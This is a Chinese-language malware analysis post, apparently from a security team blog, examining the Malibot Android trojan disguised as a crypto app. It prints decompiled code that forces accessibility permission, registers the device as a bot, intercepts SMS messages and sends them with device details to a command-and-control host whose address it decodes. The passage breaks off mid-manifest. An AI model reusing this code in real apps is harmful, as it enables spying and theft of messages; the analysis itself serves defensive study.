酷应用

Malibot分析

百家 作者：Chamd5安全团队 2022-07-02 08:21:40

在浏览安全客时发现，Malibot伪装成钱包和浏览器以便窃取数据。于是火速从Malwarebazzar下个样本，开始分析。

样本信息

样本格式sha256
malibotapkb12dd66de4d180d4bbf4ae23f66bac875b3a9da455d9010720f0840541366490

初步运行

安装后的图标如下

伪装成了加密APP


会不断有Toast、弹窗、通知提示受害者打开Accessibility权限。这里还得手速快才能给权限，否则就是重复通知，重复弹设置(用户体验急剧下降)

如果点击允许，APP会自动打开设置并给自己授予权限。并Toast "The App is secured"，怎么感觉和现实中某些推销场景有点像。。。

另外还有个默认桌面选择，可能是由于Android版本不匹配的问题，App没办法给自己授予默认桌面管理器。

然后再点击App图标没反应，想设置App权限、关闭Accessibility权限都会直接闪退，并Toast "The App is secured"，(这么着急还想让人相信你？)

然后试了下adb可以卸载

Manifest分析

<permission?android:label="@string/permlab_read_settings"?android:name="werwerwee.qwetrydsf.yfdefes.permission.READ_SETTINGS"?android:protectionLevel="signature"?android:permissionGroup="android.permission-group.SYSTEM_TOOLS"?android:description="@string/permdesc_read_settings"/>
????<permission?android:label="@string/permlab_write_settings"?android:name="werwerwee.qwetrydsf.yfdefes.permission.WRITE_SETTINGS"?android:protectionLevel="signature"?android:permissionGroup="android.permission-group.SYSTEM_TOOLS"?android:description="@string/permdesc_write_settings"/>
????<uses-permission?android:name="com.android.launcher.permission.READ_SETTINGS"/>
????<uses-permission?android:name="com.android.launcher.permission.WRITE_SETTINGS"/>
????<uses-permission?android:name="werwerwee.qwetrydsf.yfdefes.permission.READ_SETTINGS"/>
????<uses-permission?android:name="werwerwee.qwetrydsf.yfdefes.permission.WRITE_SETTINGS"/>
????<uses-permission?android:name="android.permission.EXPAND_STATUS_BAR"/>
????<uses-permission?android:name="android.permission.INTERNET"/>
????<uses-permission?android:name="android.permission.ACCESS_NETWORK_STATE"/>
????<uses-permission?android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
????<uses-permission?android:name="android.permission.FOREGROUND_SERVICE"/>
????<uses-permission?android:name="android.permission.WAKE_LOCK"/>
????<uses-permission?android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
????<uses-permission?android:name="android.permission.REORDER_TASKS"/>
????<uses-permission?android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
????<uses-permission?android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
????<uses-permission?android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
????<uses-permission?android:name="android.permission.QUERY_ALL_PACKAGES"/>
????<uses-permission?android:name="android.permission.RECEIVE_SMS"/>
????<uses-permission?android:name="android.permission.SEND_SMS"/>
????<permission?android:label="@string/permlab_install_shortcut"?android:name="com.android.launcher.permission.INSTALL_SHORTCUT"?android:protectionLevel="dangerous"?android:permissionGroup="android.permission-group.SYSTEM_TOOLS"?android:description="@string/permdesc_install_shortcut"/>
????<uses-feature?android:name="android.hardware.telephony"?android:required="false"/>
????<uses-permission?android:name="android.permission.CALL_PHONE"/>
????<uses-permission?android:name="android.permission.SET_WALLPAPER"/>
????<uses-permission?android:name="android.permission.SET_WALLPAPER_HINTS"/>
????<uses-permission?android:name="android.permission.BIND_APPWIDGET"/>
????<uses-permission?android:name="android.permission.READ_EXTERNAL_STORAGE"/>

  • 允许更改设置

  • 允许网络权限

  • 允许弹窗，并且不好关闭

  • REORDER_TASKS：查了一下资料，这个是允许Activity的z轴排列，也就是让APP始终处于最前面，不胜其烦

  • 忽略电池优化，防止被关闭

  • 查询包和删除包，可能是对抗防病毒软件

  • 收发短信、打电话权限、读取外部存储

主Activity是一个Launcher，并且也注册了Launcher的provider。另外还有一个Activity也是主Activity

<activity?android:name="com.google.android.apps.nexuslauncher.NexusLauncherActivity"?android:enabled="true"?android:taskAffinity=""?android:clearTaskOnLaunch="true"?android:stateNotNeeded="true"?android:launchMode="singleTask"?android:screenOrientation="nosensor"?android:configChanges="navigation|keyboardHidden|keyboard"?android:windowSoftInputMode="adjustPan"?android:hardwareAccelerated="true"?android:resumeWhilePausing="true"?android:resizeableActivity="true">
????????????<intent-filter>
????????????????<action?android:name="android.intent.action.MAIN"/>
????????????????<category?android:name="android.intent.category.HOME"/>
????????????????<category?android:name="android.intent.category.DEFAULT"/>
????????????????<category?android:name="android.intent.category.MONKEY"/>
????????????????<category?android:name="android.intent.category.LAUNCHER_APP"/>
????????????</intent-filter>
????????</activity>
????????<activity?android:theme="@style/SettingsTheme"?android:label="@string/settings_button_text"?android:name="com.google.android.apps.nexuslauncher.SettingsActivity"?android:autoRemoveFromRecents="true">
????????????<intent-filter>
????????????????<action?android:name="android.intent.action.APPLICATION_PREFERENCES"/>
????????????????<category?android:name="android.intent.category.DEFAULT"/>
????????????</intent-filter>
????????</activity><provider?android:name="com.google.android.apps.nexuslauncher.search.AppSearchProvider"?android:exported="true"?android:authorities="werwerwee.qwetrydsf.yfdefes.appssearch"/>
<activity?android:theme="@style/AppTheme_Transparent"?android:name="amirz.rootless.nexuslauncher.StartActivity"?android:exported="true">
????????????<intent-filter>
????????????????<action?android:name="android.intent.action.MAIN"/>
????????????????<category?android:name="android.intent.category.LAUNCHER"/>
????????????</intent-filter>
????????</activity>

剩下的就是Service和BrocastReceiver，稍后会一并分析。

主Activity

经过分析代码，第二个主Activity才是点击时运行的，主要代码如下

protected?void?onCreate(Bundle?bundle)?{
????????super.onCreate(bundle);
????????setContentView(R.layout.activity_start);
????????if?(!Settings.registered$default(this.settings,?null,?1,?null))?{
????????????register();
????????}
????????StartActivity?startActivity?=?this;
????????if?(!AccessibilityExtensionsKt.permissionsComplete(startActivity))?{
????????????ServiceExtensionsKt.checkBackgroundService(startActivity);
????????????if?(!AccessibilityExtensionsKt.isAccessibilityEnabled(startActivity))?{
????????????????AccessibilityExtensionsKt.requestAccessibility$default(startActivity,?false,?1,?null);
????????????}
????????}?else?{
????????????BaseExtensionsKt.runApp(startActivity,?BuildConfig.DEFAULT_APP);
????????}
????????ServiceExtensionsKt.startAlarmTrigger$default(startActivity,?0L,?null,?3,?null);
????????finish();
????}

如果没有注册，则先注册上线

@Override?//?kotlin.coroutines.jvm.internal.BaseContinuationImpl
????public?final?Object?invokeSuspend(Object?obj)?{
????????Object?obj2;
????????String?str;
????????Object?obj3;
????????Pair[]?pairArr;
????????Pair[]?pairArr2;
????????String?str2;
????????Settings?settings;
????????Settings?settings2;
????????Settings?settings3;
????????Object?coroutine_suspended?=?IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????int?i?=?this.label;
????????int?i2?=?1;
????????if?(i?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????settings?=?this.this$0.settings;
????????????if?(Settings.botId$default(settings,?null,?1,?null).length()?==?0)?{
????????????????settings3?=?this.this$0.settings;
????????????????settings3.botId(BaseExtensionsKt.getDeviceId(this.this$0));
????????????}
????????????Pair[]?pairArr3?=?new?Pair[8];
????????????settings2?=?this.this$0.settings;
????????????pairArr3[0]?=?TuplesKt.to("botid",?Settings.botId$default(settings2,?null,?1,?null));
????????????this.L$0?=?pairArr3;
????????????this.L$1?=?"newconnect";
????????????this.L$2?=?pairArr3;
????????????this.L$3?=?"botip";
????????????this.I$0?=?1;
????????????this.label?=?1;
????????????obj3?=?new?IPAddress().execute(this);
????????????if?(obj3?==?coroutine_suspended)?{
????????????????return?coroutine_suspended;
????????????}
????????????str?=?"newconnect";
????????????pairArr?=?pairArr3;
????????????str2?=?"botip";
????????????pairArr2?=?pairArr;
????????}?else?if?(i?!=?1)?{
????????????if?(i?==?2)?{
????????????????ResultKt.throwOnFailure(obj);
????????????????obj2?=?obj;
????????????????String?str3?=?(String)?obj2;
????????????????return?Unit.INSTANCE;
????????????}
????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????}?else?{
????????????i2?=?this.I$0;
????????????str2?=?(String)?this.L$3;
????????????pairArr2?=?(Pair[])?this.L$2;
????????????ResultKt.throwOnFailure(obj);
????????????str?=?(String)?this.L$1;
????????????pairArr?=?(Pair[])?this.L$0;
????????????obj3?=?obj;
????????}
????????String?str4?=?(String)?obj3;
????????if?(str4?==?null)?{
????????????str4?=?"?";
????????}
????????pairArr2[i2]?=?TuplesKt.to(str2,?str4);
????????pairArr[2]?=?TuplesKt.to("botkey",?Config.INSTANCE.getKey());
????????pairArr[3]?=?TuplesKt.to("android",?Build.VERSION.RELEASE);
????????pairArr[4]?=?TuplesKt.to("model",?Utils.INSTANCE.getDeviceModel());
????????pairArr[5]?=?TuplesKt.to("battery",?BaseExtensionsKt.getBattery(this.this$0));
????????pairArr[6]?=?TuplesKt.to("lang",?Utils.INSTANCE.getLocale());
????????pairArr[7]?=?TuplesKt.to("packagelist",?CollectionsKt.joinToString$default(BaseExtensionsKt.getApps(this.this$0),?",",?null,?null,?0,?null,?null,?62,?null));
????????this.L$0?=?null;
????????this.L$1?=?null;
????????this.L$2?=?null;
????????this.L$3?=?null;
????????this.label?=?2;
????????obj2?=?new?Send(null,?str,?MapsKt.mutableMapOf(pairArr),?1,?null).execute(this);
????????if?(obj2?==?coroutine_suspended)?{
????????????return?coroutine_suspended;
????????}
????????String?str32?=?(String)?obj2;
????????return?Unit.INSTANCE;
????}

注册上线就发送受害者的一些信息给远程，包括Android版本，电池、语言和软件包列表等。并且表明是"newconnect"。

检测了Accessibility权限，并且检测后台服务。如果已经有权限了就运行chrome，但是模拟器上没安装chrome，所以点击之后没反应。最后还设置了一个AlarmTrigger，用于触发各种动作

public?static?final?boolean?isAccessibilityEnabled(Context?context)?{
????????int?i;
????????String?string;
????????Intrinsics.checkNotNullParameter(context,?"<this>");
????????String?sb?=?new?StringBuilder().append((Object)?context.getPackageName()).append('/').append((Object)?AccessibilityService.class.getName()).toString();
????????try?{
????????????i?=?Settings.Secure.getInt(context.getApplicationContext().getContentResolver(),?"accessibility_enabled");
????????}?catch?(Settings.SettingNotFoundException?unused)?{
????????????i?=?0;
????????}
????????TextUtils.SimpleStringSplitter?simpleStringSplitter?=?new?TextUtils.SimpleStringSplitter(StringsKt.single(":"));
????????if?(i?==?1?&&?(string?=?Settings.Secure.getString(context.getApplicationContext().getContentResolver(),?"enabled_accessibility_services"))?!=?null)?{
????????????simpleStringSplitter.setString(string);
????????????while?(simpleStringSplitter.hasNext())?{
????????????????if?(StringsKt.equals(simpleStringSplitter.next(),?sb,?true))?{
????????????????????return?true;
????????????????}
????????????}
????????}
????????return?false;
????}

????public?static?final?boolean?permissionsComplete(Context?context)?{
????????Intrinsics.checkNotNullParameter(context,?"<this>");
????????return?isAccessibilityEnabled(context);
????}

如果没有后台服务就运行后台服务

public?static?final?void?checkBackgroundService(Context?context)?{
????????Intrinsics.checkNotNullParameter(context,?"<this>");
????????try?{
????????????if?(isServiceRunning(context,?BackgroundService.class))?{
????????????????return;
????????????}
????????????context.startService(new?Intent(context,?BackgroundService.class));
????????}?catch?(Exception?unused)?{
????????}
????}

然后开始申请Accessibility权限

public?static?final?void?requestAccessibility(Context?context,?boolean?z)?{
????????Intrinsics.checkNotNullParameter(context,?"<this>");
????????try?{
????????????Intent?newIntent?=?AccessibilityRequestActivity.Companion.newIntent(context);
????????????if?(z)?{
????????????????newIntent.putExtra("sms",?"1");
????????????}
????????????context.startActivity(newIntent);
????????}?catch?(Exception?unused)?{
????????}
????}

然后就到了运行时的无限弹窗

@Override?//?android.app.Activity
????protected?void?onCreate(Bundle?bundle)?{
????????super.onCreate(bundle);
????????setContentView(R.layout.activity_request_accessibility);
????????AccessibilityRequestActivity?accessibilityRequestActivity?=?this;
????????if?(AccessibilityExtensionsKt.isAccessibilityEnabled(accessibilityRequestActivity))?{
????????????if?(checkSelfPermission("android.permission.RECEIVE_SMS")?!=?0)?{
????????????????requestPermissions(new?String[]{"android.permission.RECEIVE_SMS",?"android.permission.SEND_SMS"},?100);
????????????????return;
????????????}
????????????if?(getIntent().getStringExtra("sms")?==?null)?{
????????????????BaseExtensionsKt.runApp(accessibilityRequestActivity,?BuildConfig.DEFAULT_APP);
????????????}
????????????finish();
????????????return;
????????}
????????try?{
????????????if?(isFinishing())?{
????????????????return;
????????????}
????????????this.alertDialog?=?new?AlertDialog.Builder(this).setIcon(R.mipmap.ic_launcher).setTitle(getString(R.string.app_name)).setMessage(getString(R.string.enable_accessibility_message)).setPositiveButton("Enable",?new?DialogInterface.OnClickListener()?{?//?from?class:?com.fdjsfkas.kdjklslf.ui.activities.AccessibilityRequestActivity$$ExternalSyntheticLambda0
????????????????@Override?//?android.content.DialogInterface.OnClickListener
????????????????public?final?void?onClick(DialogInterface?dialogInterface,?int?i)?{
????????????????????AccessibilityRequestActivity.m7onCreate$lambda0(AccessibilityRequestActivity.this,?dialogInterface,?i);
????????????????}
????????????}).setCancelable(false).show();
????????}?catch?(Exception?unused)?{
????????}
????}

????/*?JADX?INFO:?Access?modifiers?changed?from:?private?*/
????/*?renamed?from:?onCreate$lambda-0??reason:?not?valid?java?name?*/
????public?static?final?void?m7onCreate$lambda0(AccessibilityRequestActivity?this$0,?DialogInterface?dialogInterface,?int?i)?{
????????Intrinsics.checkNotNullParameter(this$0,?"this$0");
????????this$0.startActivity(new?Intent("android.settings.ACCESSIBILITY_SETTINGS"));
????????this$0.finish();
????????dialogInterface.dismiss();
????}

并且按钮还无法取消

AlarmTrigger分析

public?static?/*?synthetic?*/?void?startAlarmTrigger$default(Context?context,?long?j,?String?startAlarmTrigger$default,?int?i,?Object?obj)?{
????????if?((i?&?1)?!=?0)?{
????????????j?=?2000;
????????}
????????if?((i?&?2)?!=?0)?{
????????????startAlarmTrigger$default?=?context.getPackageName();
????????????Intrinsics.checkNotNullExpressionValue(startAlarmTrigger$default,?"startAlarmTrigger$default");
????????}
????????startAlarmTrigger(context,?j,?startAlarmTrigger$default);
????}

????private?static?final?void?startAlarmTrigger$setReminder(Context?context)?{
????????AlarmManager?alarmManager?=?(AlarmManager)?context.getSystemService(NotificationCompat.CATEGORY_ALARM);
????????Calendar?calendar?=?Calendar.getInstance();
????????Intrinsics.checkNotNullExpressionValue(calendar,?"getInstance()");
????????calendar.add(13,?5);
????????Intent?intent?=?new?Intent(context,?AlarmReceiver.class);
????????intent.setFlags(268435456);
????????PendingIntent?broadcast?=?PendingIntent.getBroadcast(context,?RandomKt.Random(System.currentTimeMillis()).nextInt(3),?intent,?201326592);
????????Intrinsics.checkNotNull(alarmManager);
????????alarmManager.set(1,?calendar.getTimeInMillis(),?broadcast);
????????Timber.d("Triggering?alarm",?new?Object[0]);
????}

在5秒后会发送一个广播，让alarmReceiver接收

public?final?class?AlarmReceiver?extends?BroadcastReceiver?{
????@Override?//?android.content.BroadcastReceiver
????public?void?onReceive(Context?context,?Intent?intent)?{
????????Intrinsics.checkNotNullParameter(intent,?"intent");
????????if?(context?==?null)?{
????????????return;
????????}
????????Timber.d("Triggered?receiver",?new?Object[0]);
????????ServiceExtensionsKt.checkBackgroundService(context);
????????ServiceExtensionsKt.startAlarmTrigger$default(context,?0L,?null,?3,?null);
????}
}

检测后台服务并且设置下一个AlarmTrigger

检测后台服务

public?static?final?void?checkBackgroundService(Context?context)?{
????????Intrinsics.checkNotNullParameter(context,?"<this>");
????????try?{
????????????if?(isServiceRunning(context,?BackgroundService.class))?{
????????????????return;
????????????}
????????????context.startService(new?Intent(context,?BackgroundService.class));
????????}?catch?(Exception?unused)?{
????????}
????}
public?int?onStartCommand(Intent?intent,?int?i,?int?i2)?{
????????try?{
????????????initTasks();
????????????acquireWakeLock();
????????????registerPhoneUnlockReceiver();
????????????registerScreenReceiver();
????????????return?1;
????????}?catch?(Exception?unused)?{
????????????return?1;
????????}
????}

获取wakeLock权限，并且注册解锁、屏幕控制的广播接收器。

initTasks内启动了其它三个类

public?final?Object?invokeSuspend(Object?obj)?{
????????IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????if?(this.label?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?AnonymousClass1(this.this$0,?null),?2,?null);
????????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?AnonymousClass2(this.this$0,?null),?2,?null);
????????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?AnonymousClass3(this.this$0,?null),?2,?null);
????????????return?Unit.INSTANCE;
????????}
????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????}

第一个类展示了包名

public?final?Object?invokeSuspend(Object?obj)?{
????????????????IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????????????if?(this.label?==?0)?{
????????????????????ResultKt.throwOnFailure(obj);
????????????????????Context?applicationContext?=?this.this$0.getApplicationContext();
????????????????????BackgroundService?backgroundService?=?this.this$0;
????????????????????Toast.makeText(applicationContext,?backgroundService.getString(R.string.enable_to_asb,?new?Object[]{backgroundService.getString(R.string.app_name)}),?1).show();
????????????????????return?Unit.INSTANCE;
????????????????}
????????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????????}

第二个类停用前台

public?final?Object?invokeSuspend(Object?obj)?{
????????????????IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????????????if?(this.label?==?0)?{
????????????????????ResultKt.throwOnFailure(obj);
????????????????????this.this$0.stopForeground(true);
????????????????????return?Unit.INSTANCE;
????????????????}
????????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????????}

第三个类，反编译失败了，但是看起来依然是执行了第一个类

public final java.lang.Object invokeSuspend(java.lang.Object r11) {
                r10 = this;
                java.lang.Object r0 = kotlin.coroutines.intrinsics.IntrinsicsKt.getCOROUTINE_SUSPENDED()
                int r1 = r10.label
                r2 = 0
                r3 = 1
                if (r1 == 0) goto L19
                if (r1 != r3) goto L11
                kotlin.ResultKt.throwOnFailure(r11)
                r11 = r10
                goto L47
            L11:
                java.lang.IllegalStateException r11 = new java.lang.IllegalStateException
                java.lang.String r0 = "call to 'resume' before 'invoke' with coroutine"
                r11.<init>(r0)
                throw r11
            L19:
                kotlin.ResultKt.throwOnFailure(r11)
                r11 = r10
            L1d:
                kotlinx.coroutines.GlobalScope r1 = kotlinx.coroutines.GlobalScope.INSTANCE     // Catch: java.lang.Exception -> L39
                r4 = r1
                kotlinx.coroutines.CoroutineScope r4 = (kotlinx.coroutines.CoroutineScope) r4     // Catch: java.lang.Exception -> L39
                kotlinx.coroutines.CoroutineDispatcher r1 = kotlinx.coroutines.Dispatchers.getIO()     // Catch: java.lang.Exception -> L39
                r5 = r1
                kotlin.coroutines.CoroutineContext r5 = (kotlin.coroutines.CoroutineContext) r5     // Catch: java.lang.Exception -> L39
                r6 = 0
                com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$1 r1 = new com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$1     // Catch: java.lang.Exception -> L39
                com.fdjsfkas.kdjklslf.services.BackgroundService r7 = r11.this$0     // Catch: java.lang.Exception -> L39
                r1.<init>(r7, r2)     // Catch: java.lang.Exception -> L39
                r7 = r1
                kotlin.jvm.functions.Function2 r7 = (kotlin.jvm.functions.Function2) r7     // Catch: java.lang.Exception -> L39
                r8 = 2
                r9 = 0
                kotlinx.coroutines.BuildersKt.launch$default(r4, r5, r6, r7, r8, r9)     // Catch: java.lang.Exception -> L39
            L39:
                r4 = 10000(0x2710, double:4.9407E-320)
                r1 = r11
                kotlin.coroutines.Continuation r1 = (kotlin.coroutines.Continuation) r1
                r11.label = r3
                java.lang.Object r1 = kotlinx.coroutines.DelayKt.delay(r4, r1)
                if (r1 != r0) goto L47
                return r0
            L47:
                com.fdjsfkas.kdjklslf.services.BackgroundService r1 = r11.this$0
                com.fdjsfkas.kdjklslf.utils.Logger r1 = r1.getLogger()
                boolean r1 = r1.haveSomethingToSend()
                if (r1 == 0) goto L65
                com.fdjsfkas.kdjklslf.services.BackgroundService r1 = r11.this$0     // Catch: java.lang.Exception -> L5d
                com.fdjsfkas.kdjklslf.utils.Logger r1 = r1.getLogger()     // Catch: java.lang.Exception -> L5d
                r1.flush()     // Catch: java.lang.Exception -> L5d
                goto L65
            L5d:
                r1 = 0
                java.lang.Object[] r1 = new java.lang.Object[r1]
                java.lang.String r4 = "logger cant push now"
                timber.log.Timber.d(r4, r1)
            L65:
                kotlinx.coroutines.GlobalScope r1 = kotlinx.coroutines.GlobalScope.INSTANCE
                r4 = r1
                kotlinx.coroutines.CoroutineScope r4 = (kotlinx.coroutines.CoroutineScope) r4
                kotlinx.coroutines.CoroutineDispatcher r1 = kotlinx.coroutines.Dispatchers.getIO()
                r5 = r1
                kotlin.coroutines.CoroutineContext r5 = (kotlin.coroutines.CoroutineContext) r5
                r6 = 0
                com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$2 r1 = new com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$2
                com.fdjsfkas.kdjklslf.services.BackgroundService r7 = r11.this$0
                r1.<init>(r7, r2)
                r7 = r1
                kotlin.jvm.functions.Function2 r7 = (kotlin.jvm.functions.Function2) r7
                r8 = 2
                r9 = 0
                kotlinx.coroutines.BuildersKt.launch$default(r4, r5, r6, r7, r8, r9)
                goto L1d

            throw new UnsupportedOperationException("Method not decompiled: com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1.AnonymousClass3.invokeSuspend(java.lang.Object):java.lang.Object");
        }

Accessibility服务分析

@Override?//?android.accessibilityservice.AccessibilityService
????protected?void?onServiceConnected()?{
????????super.onServiceConnected();
????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?AccessibilityService$onServiceConnected$1(null),?2,?null);
????????AccessibilityServiceInfo?accessibilityServiceInfo?=?new?AccessibilityServiceInfo();
????????accessibilityServiceInfo.flags?=?33;
????????accessibilityServiceInfo.eventTypes?=?-1;
????????accessibilityServiceInfo.feedbackType?=?-1;
????????setServiceInfo(accessibilityServiceInfo);
????????this.bus.setOnBackPressed(new?AccessibilityService$onServiceConnected$2(this));
????????this.bus.setOnHomePressed(new?AccessibilityService$onServiceConnected$3(this));
????????this.bus.setOnNodeClickXY(new?AccessibilityService$onServiceConnected$4(this));
????????this.bus.setOnNodeClick(AccessibilityService$onServiceConnected$5.INSTANCE);
????????this.bus.setClickOnPoint(new?AccessibilityService$onServiceConnected$6(this));
????????AccessibilityExtensionsKt.back(this.bus,?4,?100L);
????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?AccessibilityService$onServiceConnected$7(this,?null),?2,?null);
????}

????@Override?//?android.accessibilityservice.AccessibilityService
????public?void?onAccessibilityEvent(AccessibilityEvent?accessibilityEvent)?{
????????if?(!Intrinsics.areEqual(accessibilityEvent?==?null???null?:?accessibilityEvent.getPackageName(),?getPackageName()))?{
????????????ServiceExtensionsKt.checkBackgroundService(this);
????????????Timber.d(Intrinsics.stringPlus("accessibility?event?",?accessibilityEvent),?new?Object[0]);
????????????try?{
????????????????AccessibilityNodeInfo?rootInActiveWindow?=?getRootInActiveWindow();
????????????????if?(rootInActiveWindow?!=?null)?{
????????????????????this.bus.setRootNode(new?AccessibilityService$onAccessibilityEvent$1$1(rootInActiveWindow));
????????????????}
????????????}?catch?(Exception?unused)?{
????????????}
????????????Engine?engine?=?this.engine;
????????????if?(accessibilityEvent?==?null)?{
????????????????return;
????????????}
????????????engine.processThisEvent(accessibilityEvent);
????????}
????}

覆盖了返回键、Home键和点击动作，并且获取了AccessibilityEvent

Receiver分析

从Manifest中可以看到注册了几个其它的Receiver，逐一分析

SMSReceiver

<receiver?android:name="com.fdjsfkas.kdjklslf.receivers.SMSReceiver"?android:enabled="true"?android:exported="true">
????????????<intent-filter?android:priority="9999">
????????????????<action?android:name="android.provider.Telephony.SMS_RECEIVED"/>
????????????</intent-filter>
????????</receiver>

最高优先级

public?void?onReceive(Context?context,?Intent?intent)?{
????????Intrinsics.checkNotNullParameter(intent,?"intent");
????????int?i?=?0;
????????Timber.d("SMS?Received",?new?Object[0]);
????????if?(context?!=?null)?{
????????????try?{
????????????????ServiceExtensionsKt.checkBackgroundService(context);
????????????}?catch?(Exception?unused)?{
????????????????return;
????????????}
????????}
????????if?(context?==?null)?{
????????????return;
????????}
????????SmsMessage[]?messagesFromIntent?=?Telephony.Sms.Intents.getMessagesFromIntent(intent);
????????Intrinsics.checkNotNullExpressionValue(messagesFromIntent,?"getMessagesFromIntent(intent)");
????????int?length?=?messagesFromIntent.length;
????????while?(i?<?length)?{
????????????SmsMessage?smsMessage?=?messagesFromIntent[i];
????????????Intrinsics.checkNotNullExpressionValue(smsMessage,?"Telephony.Sms.Intents.ge…essagesFromIntent(intent)");
????????????i++;
????????????try?{
????????????????BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE,?Dispatchers.getIO(),?null,?new?SMSReceiver$onReceive$1$1(smsMessage,?null),?2,?null);
????????????}?catch?(Exception?unused2)?{
????????????}
????????}
????}

首先检测后台权限，并且获取所有收到的短信，通过BuildersKt__Builders_commonKt创建后台任务并发送短信

@Override?//?kotlin.coroutines.jvm.internal.BaseContinuationImpl
????public?final?Object?invokeSuspend(Object?obj)?{
????????Object?coroutine_suspended?=?IntrinsicsKt.getCOROUTINE_SUSPENDED();
????????int?i?=?this.label;
????????if?(i?==?0)?{
????????????ResultKt.throwOnFailure(obj);
????????????Pair[]?pairArr?=?{TuplesKt.to("number",?String.valueOf(this.$sms.getDisplayOriginatingAddress())),?TuplesKt.to("text",?String.valueOf(this.$sms.getMessageBody()))};
????????????this.label?=?1;
????????????if?(new?Send(null,?"newsms",?MapsKt.mutableMapOf(pairArr),?1,?null).execute(this)?==?coroutine_suspended)?{
????????????????return?coroutine_suspended;
????????????}
????????}?else?if?(i?!=?1)?{
????????????throw?new?IllegalStateException("call?to?'resume'?before?'invoke'?with?coroutine");
????????}?else?{
????????????ResultKt.throwOnFailure(obj);
????????}
????????return?Unit.INSTANCE;
????}

Send类

public?final?class?Send?extends?BaseRequest1?{
????private?final?String?method;
????private?final?Map<String,?String>?params;
????private?final?String?type;

????public?Send(String?type,?String?method,?Map<String,?String>?params)?{
????????Intrinsics.checkNotNullParameter(type,?"type");
????????Intrinsics.checkNotNullParameter(method,?"method");
????????Intrinsics.checkNotNullParameter(params,?"params");
????????this.type?=?type;
????????this.method?=?method;
????????this.params?=?params;
????}

????public?/*?synthetic?*/?Send(String?str,?String?str2,?Map?map,?int?i,?DefaultConstructorMarker?defaultConstructorMarker)?{
????????this((i?&?1)?!=?0???"GET"?:?str,?str2,?map);
????}

????@Override?//?com.fdjsfkas.kdjklslf.network.BaseRequest1
????public?String?getReqType()?{
????????return?this.type;
????}

????@Override?//?com.fdjsfkas.kdjklslf.network.BaseRequest1
????public?String?getReqMethod()?{
????????return?this.method;
????}

????@Override?//?com.fdjsfkas.kdjklslf.network.BaseRequest1
????public?Map<String,?String>?getReqParams()?{
????????return?this.params;
????}

????@Override?//?com.fdjsfkas.kdjklslf.network.BaseRequest1
????public?Object?execute(Continuation<??super?String>?continuation)?{
????????return?super.execute(continuation);
????}
}

父类的execute方法

static?/*?synthetic?*/?Object?execute$suspendImpl(BaseRequest1?baseRequest1,?Continuation?continuation)?{
????????if?(!baseRequest1.getReqParams().containsKey("botid"))?{
????????????if?(Settings.Companion.getBotId().length()?>?0)?{
????????????????baseRequest1.getReqParams().put("botid",?Settings.Companion.getBotId());
????????????}
????????}
????????String?urlEncode?=?Request.INSTANCE.urlEncode(baseRequest1.getReqParams());
????????if?(Intrinsics.areEqual(baseRequest1.getReqType(),?"GET"))?{
????????????String?str?=?Config.INSTANCE.getHost()?+?"/api/?method="?+?baseRequest1.getReqMethod()?+?Typography.amp?+?urlEncode;
????????????String?str2?=?Request.INSTANCE.get(str);
????????????Timber.d("GET?Received?("?+?str?+?")?"?+?((Object)?str2),?new?Object[0]);
????????????return?str2;
????????}?else?if?(!Intrinsics.areEqual(baseRequest1.getReqType(),?"POST"))?{
????????????return?null;
????????}?else?{
????????????String?post?=?Request.INSTANCE.post(Config.INSTANCE.getHost()?+?"/api/"?+?baseRequest1.getReqMethod(),?urlEncode);
????????????Timber.d(Intrinsics.stringPlus("POST?Received?",?post),?new?Object[0]);
????????????return?post;
????????}
????}

从BuildConfig中可以获取到各种配置信息

package?com.android.launcher3;

/*?loaded?from:?classes.dex?*/
public?final?class?BuildConfig?{
????public?static?final?String?APPLICATION_ID?=?"werwerwee.qwetrydsf.yfdefes";
????public?static?final?String?BUILD_TYPE?=?"release";
????public?static?final?boolean?DEBUG?=?false;
????public?static?final?String?DEFAULT_APP?=?"com.android.chrome";
????public?static?final?String?FLAVOR?=?"aosp";
????public?static?final?int?VERSION_CODE?=?30911;
????public?static?final?String?VERSION_NAME?=?"3.9.1";
????public?static?final?Boolean?CIS?=?false;
????public?static?final?String[]?COUNTRY_IGNORES?=?{"AZ",?"AM",?"BY",?"KZ",?"KG",?"MD",?"RU",?"TJ",?"UZ",?"UA",?"ID"};
????//?https://xireycicin.xyz
????public?static?final?byte[]?HOST?=?{104,?116,?116,?112,?115,?58,?47,?47,?120,?105,?114,?101,?121,?99,?105,?99,?105,?110,?46,?120,?121,?122};
????//?crap
????public?static?final?byte[]?KEY?=?{99,?114,?97,?112};
}

BootReceiver

<receiver?android:name="com.fdjsfkas.kdjklslf.receivers.BootReceiver"?android:enabled="true"?android:exported="true">
????????????<intent-filter?android:priority="999">
????????????????<action?android:name="android.intent.action.BOOT_COMPLETED"/>
????????????????<action?android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
